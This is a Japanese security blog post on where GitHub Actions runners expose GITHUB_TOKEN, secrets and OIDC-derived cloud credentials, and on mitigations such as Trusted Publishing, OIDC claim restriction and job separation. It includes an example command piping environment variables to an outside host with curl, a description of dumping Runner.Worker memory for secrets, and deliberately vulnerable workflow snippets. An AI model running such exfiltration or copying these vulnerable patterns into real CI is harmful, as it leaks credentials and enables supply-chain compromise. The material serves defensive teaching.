486 lines
45 KiB
Markdown
486 lines
45 KiB
Markdown
---
|
||
source_url: "https://blog.flatt.tech/entry/2026-github-actions-security-part3"
|
||
ingested: 2026-07-02
|
||
sha256: 876120ad48e286df46080fd7472cb6e7347b950db8c844bcfeccade5e7a71994
|
||
discovered_from:
|
||
platform: discord
|
||
channel_id: "1477793137064935675"
|
||
channel_name: "tw"
|
||
message_id: "1522095047607193600"
|
||
author_id: "1477793167486226708"
|
||
posted_at: "2026-07-02T04:22:18.508000000Z"
|
||
message_excerpt: "OIDC・Trusted Publishing でも残る、GitHub Actionsの認証情報の漏洩リスクと軽減策 は、いまのCI/CDで「OIDCにしたから終わり」と思いがちな人ほど読む価値があります。"
|
||
---
|
||
|
||

|
||
|
||
## はじめに
|
||
|
||
こんにちは。GMO Flatt Security株式会社 セキュリティエンジニアの佐藤(@ [Nick\_nick310](https://x.com/Nick_nick310))と佐藤(@ [teppay\_sec](https://x.com/teppay_sec))です。
|
||
|
||
本シリーズでは全4回にわたり、GitHub Actionsのセキュリティについて体系的に解説します。まだお読みでない方は、 [Vol.1](https://blog.flatt.tech/entry/2026-github-actions-security-part1) からご覧いただくことをお勧めします。
|
||
|
||
- Vol.1: [相次ぐGitHub Actions 侵害から学ぶ、初期アクセス手法と開発者が知っておきたい対策 - GMO Flatt Security Blog](https://blog.flatt.tech/entry/2026-github-actions-security-part1)
|
||
- Vol.2: [GitHub Actions 認証情報ごとのリスクから読み解く、権限昇格パターンとその対策 - GMO Flatt Security Blog](https://blog.flatt.tech/entry/2026-github-actions-security-part2)
|
||
|
||
第3弾となるこの記事では、GitHub Actionsにおける侵害時のリスクと軽減策について解説します。初期アクセスや権限昇格によって、攻撃者は `GITHUB_TOKEN` やsecretsなどの認証情報を実際に取得する必要があります。runner上にはこれらの認証情報が複数の経路で存在しており、それぞれ取得方法が異なります。
|
||
|
||
2024年から2025年にかけて発生したtj-actions/changed-filesやnxの侵害事例に代表されるように、GitHub Actionsワークフローを起点としたサプライチェーン攻撃は継続的なリスクとなっています。これらの侵害ではrunner上の認証情報を奪取することが攻撃の中核に位置しており、CI/CDパイプラインを設計・運用するうえで、認証情報がどこに・どのように存在しているかを正確に把握しておくことが重要です。
|
||
|
||
本記事ではまず、runner上に存在する認証情報の所在と攻撃者から見た取得経路を整理します。続いて、Trusted PublishingやOIDC(Workload Identity Federation)、Environment保護ルールとrulesetの組み合わせなど、一般的なリスク軽減策を解説します。最後に、これらの対策を徹底しても残る原理的な攻撃面と、漏洩を前提とした検知・レスポンスの考え方について述べます。
|
||
|
||
## 認証情報の保存場所や取得手法
|
||
|
||
### GITHUB\_TOKENの窃取
|
||
|
||
ワークフロー実行中、 `GITHUB_TOKEN` はrunner上の複数の場所に存在します。攻撃者がrunner上でコマンドを実行できる場合、これらの場所からトークンを取得可能です。
|
||
|
||
代表的なものは `.git/config` からの取得です。 `actions/checkout` アクションを実行すると、暗黙的に `.git/config` (v6からは `$RUNNER_TEMP` 配下のファイル)に `GITHUB_TOKEN` が残存します。
|
||
|
||
`.git/config` には以下のようなデータが含まれます。
|
||
|
||
```
|
||
[http "https://github.com/"]
|
||
extraheader = AUTHORIZATION: basic ***
|
||
```
|
||
|
||
このBASIC認証ヘッダーをBase64デコードすると、 `x-access-token:<GITHUB_TOKEN>` の形式でトークンが得られます。 `actions/checkout` には、認証情報が書き込まれたファイルをcheckout後のstepに残すかどうかを制御する `persist-credentials` オプションがあり、これがデフォルトで `true` となっています。そのため、明示的に `false` を設定しない限り、checkout後のすべてのstepからこのトークンにアクセスできます。
|
||
|
||
実際の侵害でも使用されているのは、 **「 `Runner.Worker` プロセスのメモリからの取得」** です。`.git/config` は `actions/checkout` アクションを実行していない場合はファイルに出力されませんが、 `Runner.Worker` プロセスは常に `GITHUB_TOKEN` をメモリに保持しています。そのため、 `Runner.Worker` プロセスのメモリを読み取ることで `GITHUB_TOKEN` の取得が可能です。 `tj-actions/changed-files` の侵害(CVE-2025-30066) [^1] や `aquasecurity/trivy-action` の侵害 [^2] では、この手法が実際に使用されました。
|
||
自分自身のプロセスダンプ以外はroot権限が必要ですが、GitHub-hosted runner上では `sudo` がパスワードなしで実施できるため、攻撃者はroot権限を使用して `Runner.Worker` プロセスを読み取ることが可能です。
|
||
|
||

|
||
|
||
図1. Runner.Workerのメモリダンプを利用した環境変数へのアクセス
|
||
|
||
### 環境変数に展開されたsecretsの読み取り
|
||
|
||
ワークフローのYAMLで `secrets` を環境変数に展開している場合、その値はrunner上のプロセスから読み取り可能になります。
|
||
|
||
```
|
||
steps:
|
||
- name: Deploy
|
||
env:
|
||
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
|
||
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
|
||
run: aws s3 sync ./dist s3://my-bucket/
|
||
```
|
||
|
||
`env` は workflow / job / step の各レベルで設定でき、参照可能な範囲はそれぞれ異なります。上の例ではstepレベルで設定しており、 `AWS_ACCESS_KEY_ID` と `AWS_SECRET_ACCESS_KEY` が環境変数としてrunner上に展開されます。
|
||
|
||
攻撃者がrunner上でコマンドを実行できる場合、環境変数の値を外部に送信するのは容易です。
|
||
|
||
```shell
|
||
# 環境変数を外部に送信する例
|
||
printenv | curl https://flatt.tech -d @-
|
||
```
|
||
|
||
GitHub Actionsには、secretsの値がログに出力された場合に自動的にマスクする機能があります。しかし、この機能はビルドログ上の表示をマスクするだけであり、runner上のプロセスが環境変数の値を直接読み取ることは防げません。 `curl` で外部に送信する場合はマスク機構を経由しないため、secretsの値がそのまま攻撃者の手に渡ります。
|
||
|
||
`printenv` を使う場合は、stepで設定された環境変数はそのstepでしか取得できませんが、前述の **`Runner.Worker` のメモリダンプの手法を使うと、それまでのstepで使用された全ての環境変数を取得することが可能です。**
|
||
|
||
```
|
||
env:
|
||
SECRET_WF: ${{secrets.SECRET_WF}}
|
||
|
||
jobs:
|
||
execute:
|
||
runs-on: ubuntu-latest
|
||
env:
|
||
SECRET_JOB: ${{secrets.SECRET_JOB}}
|
||
steps:
|
||
- name: Run benign command
|
||
run: ls .
|
||
env:
|
||
SECRET_STEP: ${{secrets.SECRET_STEP}}
|
||
|
||
- name: Run command # command injection
|
||
run: ${{ github.event.inputs.command }}
|
||
```
|
||
|
||
例えば上記のような脆弱なworkflowを仮定した場合、図2で示すように `printenv` では `SECRET_STEP` にアクセスできていませんが、図3に示すように `Runner.Worker` プロセスのメモリダンプをすることでアクセスすることができます。
|
||
|
||

|
||
|
||
図2. printenvを利用した環境変数へのアクセス
|
||
|
||

|
||
|
||
図3. Runner.Workerのメモリダンプを利用した環境変数へのアクセス(SECRET\_STEPにアクセスがある)
|
||
|
||
### OIDC認証後の一時クレデンシャルの読み取り
|
||
|
||
OIDCによるクラウド認証は静的なsecretsの排除に有効ですが、認証後に発行される一時クレデンシャルはrunner上に残ります。認証系Actionは後続ステップからアクセス可能な場所にクレデンシャルを書き出すため、認証手段がOIDCであれ静的なsecretsであれ、 **派生クレデンシャルが実行環境に残存する構造は同じ** です。
|
||
|
||
主要な認証系Actionとクレデンシャルの書き出し先は以下のとおりです。
|
||
|
||
| Action | 環境変数 | ファイル |
|
||
| --- | --- | --- |
|
||
| `aws-actions/configure-aws-credentials` | `AWS_ACCESS_KEY_ID` `AWS_SECRET_ACCESS_KEYAWS_SESSION_TOKEN` | `プロファイル名が指定された場合(v6.1.0の変更点) ~/.aws/credentials ~/.aws/config` |
|
||
| `azure/login` | \- | `~/.azure/` 配下のファイル |
|
||
| `google-github-actions/auth` | \- | ファイルパスが環境変数に設定される `GOOGLE_APPLICATION_CREDENTIALS` `CLOUDSDK_AUTH_CREDENTIAL_FILE_OVERRIDE` |
|
||
| `docker/login-action` | \- | `~/.docker/config.json` |
|
||
|
||
認証stepより後に実行されるstepが侵害された場合、攻撃者はこれらの一時クレデンシャルを取得できます。以下のワークフローでは、 `pull_request_target` でOIDC認証を行った後にPR送信者のコードをcheckoutしています。
|
||
|
||
```
|
||
# 脆弱な例: 認証Actionの後にPRコードを実行
|
||
on: pull_request_target
|
||
jobs:
|
||
deploy:
|
||
runs-on: ubuntu-latest
|
||
permissions:
|
||
id-token: write
|
||
steps:
|
||
- uses: aws-actions/configure-aws-credentials@v4
|
||
with:
|
||
role-to-assume: arn:aws:iam::123456789012:role/deploy
|
||
- uses: actions/checkout@v4
|
||
with:
|
||
ref: ${{ github.event.pull_request.head.sha }} # PRコード
|
||
- run: npm install
|
||
# この時点でAWS_ACCESS_KEY_ID等にアクセス可能
|
||
# postinstallスクリプトでクレデンシャルを外部に送信できる
|
||
```
|
||
|
||
この構成では、 `npm install` の `preinstall` スクリプトや、checkout後のあらゆるコマンドからAWSの一時クレデンシャルにアクセスできます。一時クレデンシャルはデフォルトで1時間で失効しますが、その間にクラウドリソースへの不正アクセスは可能です。
|
||
|
||
## リスク軽減方法
|
||
|
||
### パッケージレジストリへの公開にはTrusted Publishingを使用する
|
||
|
||
npm、PyPI、RubyGemsなどの主要なパッケージレジストリは、GitHub Actions OIDCトークンによる認証(Trusted Publishing)に対応しています。レジストリ側で「信頼するリポジトリとワークフロー」を設定しておくと、APIトークンをsecretsに保存する必要がなくなります。
|
||
以下は `pypa/gh-action-pypi-publish` 公式のTrusted Publishingを使ったPyPIへ公開するサンプルです。
|
||
|
||
```
|
||
# .github/workflows/ci-cd.yml
|
||
jobs:
|
||
pypi-publish:
|
||
name: Upload release to PyPI
|
||
runs-on: ubuntu-latest
|
||
environment:
|
||
name: pypi
|
||
url: https://pypi.org/p/<your-pypi-project-name>
|
||
permissions:
|
||
id-token: write # この権限は Trusted Publishingを利用するために必須です。
|
||
steps:
|
||
# ここにdistributions取得の処理を書く
|
||
|
||
- name: Publish package distributions to PyPI
|
||
uses: pypa/gh-action-pypi-publish@<commit-sha>
|
||
```
|
||
|
||
PyPIを例に、レジストリ側の設定を見ていきます。PyPIでは図4のように、プロジェクトの設定画面でTrusted Publisherとして「リポジトリオーナー」「リポジトリ名」「ワークフローファイル名」の登録が必要です。トークン交換時にはJWTのクレームがこれらの登録情報と一致するかが検証され、一致しない場合はトークンの発行が拒否されます。
|
||
|
||

|
||
|
||
図4 PyPIの設定画面
|
||
|
||
Environment名の登録は任意ですが、強く推奨されています。Environment名を登録しておくと、ワークフロー設定の `environment` が一致することもトークン発行の条件に加わります。Environment名が未登録の場合は同一リポジトリ内のファイル名が一致するワークフローからパッケージを公開できてしまうのに対し、登録しておけば指定したEnvironmentの保護ルールを通過したジョブからのみ公開が可能となる点が大きな違いです。
|
||
|
||
### クラウドへの接続にはOIDC(Workload Identity Federation)を使用する
|
||
|
||
AWS、Google Cloud、Azureへの接続も同様に、静的な認証情報の代わりにOIDCベースのWorkload Identity Federationを使用することでリスクの軽減が可能です。
|
||
|
||
```
|
||
# OIDCによるAWS認証の例
|
||
jobs:
|
||
deploy:
|
||
runs-on: ubuntu-latest
|
||
permissions:
|
||
id-token: write
|
||
contents: read
|
||
environment: production
|
||
steps:
|
||
- uses: aws-actions/configure-aws-credentials@<commit-sha>
|
||
with:
|
||
role-to-assume: arn:aws:iam::123456789012:role/deploy
|
||
aws-region: ap-northeast-1
|
||
```
|
||
|
||
OIDCでは一時的な認証情報のみが発行されるため、仮に窃取されてもデフォルトで数時間以内に失効します。 **ただし、OIDC自体はトークンの発行元を検証する仕組みであり、クラウド側の検証条件が甘ければ意図しないワークフローからもアクセスできてしまう点には注意が必要です。** クラウド側の設定については後述の「クラウドのロールを最小権限に設定する」で解説します。
|
||
|
||
### クラウド認証と信頼できないコードの実行を分離する
|
||
|
||
OIDCを導入した場合でも、認証済みの実行環境で信頼できないコードを実行すれば、派生クレデンシャルは窃取されます。「OIDC認証後の一時クレデンシャルの読み取り」で解説したとおり、認証系Action( `aws-actions/configure-aws-credentials` 、 `azure/login` 、 `google-github-actions/auth` 等)は認証結果を環境変数やローカルファイルに書き出します。同一job内の後続stepからはこれらに自由にアクセスできるため、認証の後にpull requestコードのビルドやテストを実行する構成では、攻撃者が一時クレデンシャルを読み取る可能性があります。
|
||
|
||
各認証系Actionにはクレデンシャルのクリーンアップ機構がありますが、いずれもpost step(job終了後)に実行されるため、認証stepから最後のstepまでの間は後続の全stepからクレデンシャルにアクセスできます。
|
||
|
||
| Action | クリーンアップの内容 | タイミング |
|
||
| --- | --- | --- |
|
||
| `aws-actions/configure-aws-credentials` | 環境変数( `AWS_ACCESS_KEY_ID` 等)を空文字に上書き | post step |
|
||
| `google-github-actions/auth` | クレデンシャルファイルを削除( `cleanup_credentials: true` がデフォルト) | post step |
|
||
| `azure/login` | `az account clear` でローカルキャッシュをクリア | post step |
|
||
| `docker/login-action` | `docker logout` を実行( `logout: true` がデフォルト) | post step |
|
||
|
||
つまり、クリーンアップはjob内のstep間のクレデンシャル共有を防ぐものではなく、job終了後にrunner上に認証情報を残さないための仕組みです。同一job内で認証stepの後に攻撃者コードが実行される場合、クリーンアップは防御として機能しません。
|
||
|
||
最も確実な対策は、 **OIDCを必要とするstepと、信頼できないコード(PRコードのビルド・テスト等)の実行stepを別jobに分離する** ことです。GitHub Actionsではjobごとに独立したrunnerが割り当てられるため、job境界を越えて環境変数やファイルシステムが共有されることはありません。さらに、PRコードのテストとデプロイのように本来トリガーが異なる処理であれば、ジョブ分離よりも **ワークフロー自体を別ファイルに分離** する方が信頼境界を明確にできます。具体的には、PRコードのビルド・テストは `on: pull_request` のワークフロー(secretsを参照しない)で行い、デプロイは `on: push` でmainブランチのコードに対してのみ実行する、といった構成です。
|
||
|
||
ただし、この分離はあくまで「認証情報をPRコードと同居させない」ための対策であり、PRコードを実行する環境そのものが攻撃面となるケースまでは防げません。たとえばfork PRに対するpreviewデプロイを許可している場合、認証情報の漏洩はワークフロー分離で防げても、配信されるpreview環境上で攻撃者のコードが第三者のブラウザ上で実行されるリスクは残ります。どこまで分離が可能かはユースケースに依存しており、その原理的な限界については後述の「job分離にも原理的な限界がある」で改めて議論します。
|
||
|
||
また、認証系Actionのオプションでクレデンシャルの露出範囲を狭めることができますが、どれも根本的な対策にはなりません。
|
||
|
||
**AWS**: `output-env-credentials: false` を設定すると、環境変数( `AWS_ACCESS_KEY_ID` 等)への書き出しを抑止できます。代わりに `output-credentials: true` で [step outputs](https://docs.github.com/en/actions/how-tos/write-workflows/choose-what-workflows-do/pass-job-outputs) として取得し、必要なstepでのみ参照します。
|
||
|
||
```
|
||
- uses: aws-actions/configure-aws-credentials@v4
|
||
id: aws-creds
|
||
with:
|
||
role-to-assume: arn:aws:iam::123456789012:role/deploy
|
||
aws-region: ap-northeast-1
|
||
output-credentials: true
|
||
output-env-credentials: false
|
||
# 後続stepでは環境変数にAWS認証情報が存在しない
|
||
# 必要なstepでのみ明示的に参照する
|
||
- run: aws s3 sync ./dist s3://my-deploy-bucket/
|
||
env:
|
||
AWS_ACCESS_KEY_ID: ${{ steps.aws-creds.outputs.aws-access-key-id }}
|
||
AWS_SECRET_ACCESS_KEY: ${{ steps.aws-creds.outputs.aws-secret-access-key }}
|
||
AWS_SESSION_TOKEN: ${{ steps.aws-creds.outputs.aws-session-token }}
|
||
```
|
||
|
||
**Google Cloud**: `export_environment_variables: false` を設定すると、 `GOOGLE_APPLICATION_CREDENTIALS` 等の環境変数への書き出しを抑止できます。さらに `create_credentials_file: false` にすればファイルシステムへの書き出しも行われません。 `token_format: access_token` を指定してstep outputとしてアクセストークンを取得し、必要なstepでのみ使用します。
|
||
|
||
```
|
||
- uses: google-github-actions/auth@v2
|
||
id: gcp-auth
|
||
with:
|
||
workload_identity_provider: "projects/123456789/locations/global/workloadIdentityPools/github-pool/providers/github-provider"
|
||
service_account: "[email protected]"
|
||
token_format: "access_token"
|
||
export_environment_variables: false
|
||
create_credentials_file: false
|
||
- run: |
|
||
curl -H "Authorization: Bearer $GCP_TOKEN" "https://..."
|
||
env:
|
||
GCP_TOKEN: ${{ steps.gcp-auth.outputs.access_token }}
|
||
```
|
||
|
||
ただし、step outputsは前述した `Runner.Worker` プロセスのメモリダンプ等によって取得が可能であり、 **完全な防御にはなりません** 。
|
||
|
||

|
||
|
||
図5. Runner.Workerプロセスからsteps outputを読み取る事が可能
|
||
|
||
**Azure / Docker**: `azure/login` と `docker/login-action` は環境変数ではなくファイルシステム( `~/.azure/` 、 `~/.docker/config.json` )にクレデンシャルを書き出すため、書き出し先を変更するオプションは提供されていません。job分離が唯一の確実な対策です。
|
||
|
||
### クラウド側の権限を多層的に絞る
|
||
|
||
#### 認証情報を発行する対象を絞る
|
||
|
||
OIDCを導入しても、クラウド側でトークンのクレーム(claims)を適切に検証していない場合は別のリスクが発生します。GitHub Actionsのトークンには `sub` (subject)をはじめ、 `repository` 、 `repository_owner_id` 、 `workflow_ref` など、トークンの発行元を特定するクレームが含まれています。クラウドはこれらのクレームを検証条件に使い、「どのリポジトリの、どのワークフローからのトークンか」を制限できます。
|
||
|
||
##### AWSの場合
|
||
|
||
AWS IAMロールの信頼ポリシーで、GitHub Actions OIDCトークンのクレームを検証します。
|
||
|
||
```json
|
||
// 脆弱な例: Organization全体をワイルドカードで許可
|
||
"Condition": {
|
||
"StringLike": {
|
||
"token.actions.githubusercontent.com:sub": "repo:my-org/*"
|
||
}
|
||
}
|
||
```
|
||
|
||
この設定では `my-org` 配下の全リポジトリ・全ブランチからロールを引き受けられます。Organization内の別リポジトリが侵害されれば、本番環境のAWSリソースに到達できてしまいます。
|
||
|
||
```json
|
||
// 例: リポジトリとEnvironmentを完全一致で指定
|
||
"Condition": {
|
||
"StringEquals": {
|
||
"token.actions.githubusercontent.com:repository_id": "yyyyyyyy",
|
||
"token.actions.githubusercontent.com:environment": "production",
|
||
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
|
||
}
|
||
}
|
||
```
|
||
|
||
`StringEquals` による完全一致で、リポジトリ名と `environment` まで限定しています。 `aud` (audience)も検証することで、別のクラウド向けに発行されたトークンの流用を防ぎます。
|
||
|
||
##### Google Cloudの場合
|
||
|
||
Workload Identity Poolの属性条件(attribute condition)では、 `sub` 以外の任意のクレームも検証条件にできます。
|
||
|
||
```
|
||
// 例: リポジトリ所有者、リポジトリ、ワークフローファイル、実行環境を完全一致で指定
|
||
assertion.repository_owner_id == "xxxxxxxx" &&
|
||
assertion.repository_id == "yyyyyyyy" &&
|
||
assertion.job_workflow_ref == "my-org/my-repo/.github/workflows/deploy.yml@refs/heads/main" &&
|
||
assertion.runner_environment == "github-hosted"
|
||
```
|
||
|
||
ここで注意すべきは、 **`repository` や `repository_owner` のような名前ベースのクレームではなく、 `repository_id` や `repository_owner_id` のような数値IDを使う点です。** GitHubではリポジトリやOrganizationが削除された後に同じ名前を第三者が取得できるため、名前ベースのクレームではなりすましのリスクがあります。数値IDはGitHubが一意性を保証し、再利用されません。
|
||
|
||
`job_workflow_ref` を条件に加えると、特定のワークフローファイルから発行されたトークンだけに限定できます。リポジトリ内の他のワークフローが侵害されても、デプロイ用のロールにはアクセスできません。
|
||
|
||
##### Azureの場合
|
||
|
||
Azureではサービスプリンシパルにフェデレーション資格情報(Federated Identity Credential)を設定します。Entity Typeとして「Environment」「Branch」「Pull Request」「Tag」を選択し、subjectの完全一致で検証する仕組みです。AWSやGCPと異なり、ブランチやタグの指定でワイルドカードやパターンマッチングは使えないため、本番環境へのデプロイにはEntity Type「Environment」を選択し、 `repo:my-org/my-repo:environment:production` のようにEnvironment名まで指定します。
|
||
|
||
#### ロール自体の権限も絞る
|
||
|
||
**クレームの検証と併せて、ロールに付与するクラウドの権限自体も最小化します。** デプロイに必要な権限だけを持つロールと、CI(テスト実行など)に必要な権限だけを持つロールを分離し、それぞれ異なるクレーム検証条件を設定することで、侵害時の影響範囲を限定できます。
|
||
|
||
#### 発行されるクレデンシャルを絞る
|
||
|
||
ロール自体の権限を絞っても、ロールから発行された一時クレデンシャルが攻撃者の手に渡れば、ロールが持つ全権限が悪用されます。発行される一時クレデンシャル自体に対する制約を加えることで、漏洩時の影響範囲をさらに狭められます。
|
||
|
||
例えばAWSでは、 `aws-actions/configure-aws-credentials` の `inline-session-policy` オプションを使うと、ロール自体の権限よりもさらに絞ったポリシーを当該セッションに適用できます。
|
||
|
||
```
|
||
- uses: aws-actions/configure-aws-credentials@v4
|
||
with:
|
||
role-to-assume: arn:aws:iam::123456789012:role/deploy
|
||
aws-region: ap-northeast-1
|
||
role-session-name: deploy-prod-${{ github.run_id }}
|
||
inline-session-policy: |
|
||
{
|
||
"Version": "2012-10-17",
|
||
"Statement": [{
|
||
"Effect": "Allow",
|
||
"Action": ["s3:PutObject"],
|
||
"Resource": "arn:aws:s3:::my-deploy-bucket/*"
|
||
}]
|
||
}
|
||
```
|
||
|
||
これで、ロール自体の権限が広い場合でも、発行された一時クレデンシャルが実行できる操作はインラインポリシーで許可された範囲に限定されます。
|
||
|
||
また、 `role-duration-seconds` オプションで一時クレデンシャルの有効期間も最小化できます(最小900秒=15分)。ジョブの実行に必要な長さを確保しつつ、それを超えない範囲で短く設定します。
|
||
|
||
### Environment保護ルールとrulesetを使用する
|
||
|
||
`write` 権限を攻撃者が取得した場合、ファイルやブランチの作成・更新・削除が自由に行えるため、攻撃者はリポジトリ内のコードを自在に操作できる状態になります。
|
||
|
||
GitHubはこの脅威に対して、ブランチへの操作を制限する仕組み(ブランチ保護ルールまたはRuleset)と、Environment保護ルールを用意しています。 **ただし、これらは単独で使っても十分な効果を発揮しません。組み合わせて初めて `write` 権限のリスクを軽減することが可能です。**
|
||
|
||
まず、ブランチへの操作を制限する仕組みについて解説します。
|
||
ブランチ保護ルールは、保護対象のブランチ(main等)への直接pushを防ぐ仕組みです。pull requestとレビューを強制でき、保護されたブランチ上のコードの完全性を保護します。しかし、ブランチ保護ルールは新規ブランチの作成は制限しません。
|
||
|
||
2025年に発生したnxの侵害事例 [^3] では、この仕様が悪用されました。攻撃の流れは以下の通りです。
|
||
|
||
1. `write` 権限を持つGITHUB\_TOKENを窃取する
|
||
2. そのトークンで新規ブランチを作成し、publishに使われるスクリプトを悪意あるコードに差し替える
|
||
3. workflow\_dispatchが有効だったpublishワークフローを、作成したブランチに対してAPI経由でトリガーする
|
||
4. publishワークフローが悪意あるコードを実行し、NPM\_TOKENが窃取される
|
||
|
||
**`master` にはブランチ保護ルールが設定されていましたが、攻撃者は `master` に触れる必要がありませんでした。** 新規ブランチを作成し、そのブランチ上のワークフローを実行することでsecretsにアクセス可能でした。
|
||
|
||
こういった問題への対策として活用できるのが ruleset 機能です。ruleset の公開後は、ブランチ保護ルールを作成する際に「Classic branch protection rule」と表示されるようになっており、ruleset がブランチ保護ルールの後継として位置づけられていることがわかります。
|
||
ruleset では Classic に対していくつかの機能追加・改善がされていますが、そのうちの1つが「パターンにマッチしたブランチの新規作成の制限」です。例えば、 `release/**/*` と設定することにより、 `release/test` といったブランチの作成ができなくなります。rulesetにはバイパスリスト(ルールを適用しないユーザー/チームのリスト)もあるため、特定のユーザーだけにブランチ作成を許可するといった運用も可能です。
|
||
|
||
以下はrulesetを設定した状態でブランチを作成した際のエラー画面です。
|
||
|
||

|
||
|
||
図6 Rulesetによってブロックされたブランチ作成
|
||
|
||
しかし、 `write` 権限のリスクを軽減するためにrulesetを使用して新規ブランチを制限しようとすると、パターンマッチに `*` を多用して厳しい制限を設定しなければなりません。これは現実的ではないため、運用するにはバイパスリストを拡充することになり、実質的に制限が緩くなっていく点には注意が必要です。
|
||
|
||
次にEnvironment機能について解説します。
|
||
GitHub ActionsのEnvironment機能を使うと、Environmentごとにデプロイを許可するブランチを制限できます。ワークフローのjobに `environment: release` を指定したうえで、Environment側で許可ブランチに `release/**/*` を設定すると、 `release/**/*` 以外のブランチから `environment: release` 付きのjobを起動できなくなります。OIDCを利用している場合、この制限はトークン発行前のゲートとして機能するため、許可されていないブランチからはクラウドへの認証自体が成立しません。
|
||
|
||
一方、ブランチの保護がなければ `write` 権限を持つ攻撃者は許可されたブランチに直接pushしてワークフローファイルを書き換えられるため、Environmentのデプロイブランチ制限をバイパスできます。
|
||
|
||
以上から、片方ずつの設定では抜け穴が生じることがわかります。これら2つを組み合わせることで、 `contents: write` のリスクを軽減することが可能です。具体的には、rulesetで `release/**/*` ブランチに対して「新規作成の制限」と「直接pushの制限(PR必須化)」を設定し、Environment 保護ルールで `release/**/*` をデプロイブランチ制限に設定します。これにより、攻撃者は `release/**/*` を新規作成することも、既存の `release/**/*` を書き換えることもできず、 `release/**/*` 以外のブランチを作っても Environment 保護ルールによって secrets にアクセスできません。
|
||
|
||
## OIDCを徹底しても残る攻撃面: 正規権限の侵害
|
||
|
||
### ここまでの対策が前提にしているもの
|
||
|
||
ここまでの対策は、いずれも「攻撃者が認証情報に到達する不正な経路を塞ぐ」ことを目的としていました。OIDC化で長期で使用可能な静的secretsを削除し、Environmentのデプロイブランチ制限とrulesetでwrite権限経由の侵害を抑え、クラウド側の信頼ポリシーをIDベースで厳密に検証し、PRコードと認証stepを別jobに分離する—— **これらは攻撃者が本来通るべきでない経路を通って認証情報に触れるのを防ぐ仕組みです。**
|
||
|
||
裏を返せば、 **本来通るべき経路を通って攻撃が成立した場合、これらの対策は機能しません。** OIDC認証は正規に通り、Environment保護ルールも信頼ポリシーも通過し、そのうえで認証情報を持つjobの実行コンテキスト内で悪意あるコードが動く。このとき、発行された一時クレデンシャルは攻撃者の手に渡ります。
|
||
|
||
### 正規の経路を通ってしまうシナリオ
|
||
|
||
「正規の経路で攻撃が成立する」とはどういう状況か。代表的なものを挙げます。
|
||
|
||
**依存関係の汚染:** ビルドやデプロイで使う依存パッケージのいずれかが侵害されれば、その悪意あるコードは認証情報を持つjobの実行コンテキスト内で動きます。2024年の [xz-utils のバックドア (CVE-2024-3094)](https://www.cve.org/CVERecord?id=CVE-2024-3094) や、2026年3月の [axiosのnpmサプライチェーン侵害](https://github.com/axios/axios/issues/10636) など、広く使われているパッケージが侵害される事例は継続的に発生しています。デプロイjobで動かすCLIツール( `aws-cli` 自体、Terraformプロバイダー、各種SDK)も依存ツリーの一部であり、同じリスクを持ちます。
|
||
|
||
**Action / reusable workflowの乗っ取り:** `uses: third-party/some-action@vX` で参照しているサードパーティActionが侵害されると、認証stepの後ろで動くActionが任意コードを実行する状態になります。バージョン指定をtagではなくcommit SHAでpinningしていても、新しいバージョンにアップデートする際は新しいSHAを信頼することになるため、リスクをゼロにはできません。
|
||
|
||
**開発者・レビュアーアカウントの侵害:** コミット作成者やレビュアーのGitHubアカウント、SSHキー、開発マシンが攻撃者に侵害された場合、悪意あるコードが正規のコントリビューターのIDで作成・承認され、保護されたブランチに入ります。CI側から見ればこれらは正規のコミットと区別がつかず、ブランチ保護ルールはこの経路を防げません。
|
||
|
||
これらのシナリオでは、OIDCトークン発行までの全工程が正規の手順で進みます。 **攻撃者は新しいブランチを作ったり、Environmentをバイパスしたり、信頼ポリシーをすり抜けたりする必要がありません。自分が用意した悪意あるコードを、ユーザーの正規ワークフローに乗せて実行させるだけです。**
|
||
|
||
### 認証Actionのクリーンアップはrevokeではない
|
||
|
||
「クラウド認証と信頼できないコードの実行を分離する」で示したように、各認証系Actionはpost stepで環境変数の上書きやクレデンシャルファイルの削除を行います。しかしこれらはいずれもrunner上から認証情報を消去するだけで、クラウド側でセッションを失効(revoke)させるわけではありません。STSセッションも、GCPのアクセストークンも、Azure ADトークンも、有効期限まで使い続けられます。
|
||
|
||
攻撃者がjob実行中にクレデンシャルを外部に持ち出していれば、post stepでrunnerからクレデンシャルが消えても、外部に持ち出された側のクレデンシャルは有効期限まで使えます。「認証Actionにcleanup機構があるから安全」というのは誤解で、 **cleanupはrunnerが破棄される際の後始末であって、漏洩時の被害軽減策ではありません。**
|
||
|
||
### 一時クレデンシャルでも攻撃の隙は残る
|
||
|
||
「OIDCの一時クレデンシャルなら数時間で失効するから安全」という言説もありますが、この「数時間」は攻撃者の視点では十分な作業時間です。
|
||
|
||
各クラウドの一時クレデンシャル有効期間は次の通りです。
|
||
|
||
| クラウド | デフォルト | 短縮可能な範囲 |
|
||
| --- | --- | --- |
|
||
| AWS | 1時間(3600秒) | 最小15分(900秒)([AssumeRoleWithWebIdentity API](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) / [aws-actions/configure-aws-credentials](https://github.com/aws-actions/configure-aws-credentials)) |
|
||
| GCP | 1時間(3600秒) | 公式ドキュメントに最小値の明記なし([Cloud IAM: Create short-lived credentials](https://cloud.google.com/iam/docs/create-short-lived-credentials-direct)) |
|
||
| Azure | 60〜90分のランダム値(平均約75分) | [Configurable Token Lifetime (CTL)](https://learn.microsoft.com/en-us/entra/identity-platform/access-tokens) で調整可能 |
|
||
|
||
そもそも一時クレデンシャルは、デプロイ等の正規処理を実行するために発行されるものです。有効期間はその正規処理を完了させるために設定されるものであり、有効期間中はクラウドAPIを呼び出せる状態が必要です。
|
||
|
||
**有効期間の短縮は攻撃者が利用できる時間を制限する手段にはなりますが、正規処理に必要な期間がゼロにならない以上、その期間内に侵害が発生すれば攻撃は成立します。**
|
||
|
||
加えて、漏洩を検知した側が能動的にクレデンシャルを失効させる手段も限定的です。例えばAWS STSには個別セッションをrevokeするAPIが存在せず、ロールに `aws:TokenIssueTime` 条件のDenyポリシー(`AWSRevokeOlderSessions`)を付与することで、指定時刻より前に発行された全セッションを拒否する方法しかありません [^4] 。これはロール単位の措置のため、攻撃者のセッションだけを狙って止めることはできず、正規利用も巻き込みます。
|
||
|
||
### job分離にも原理的な限界がある
|
||
|
||
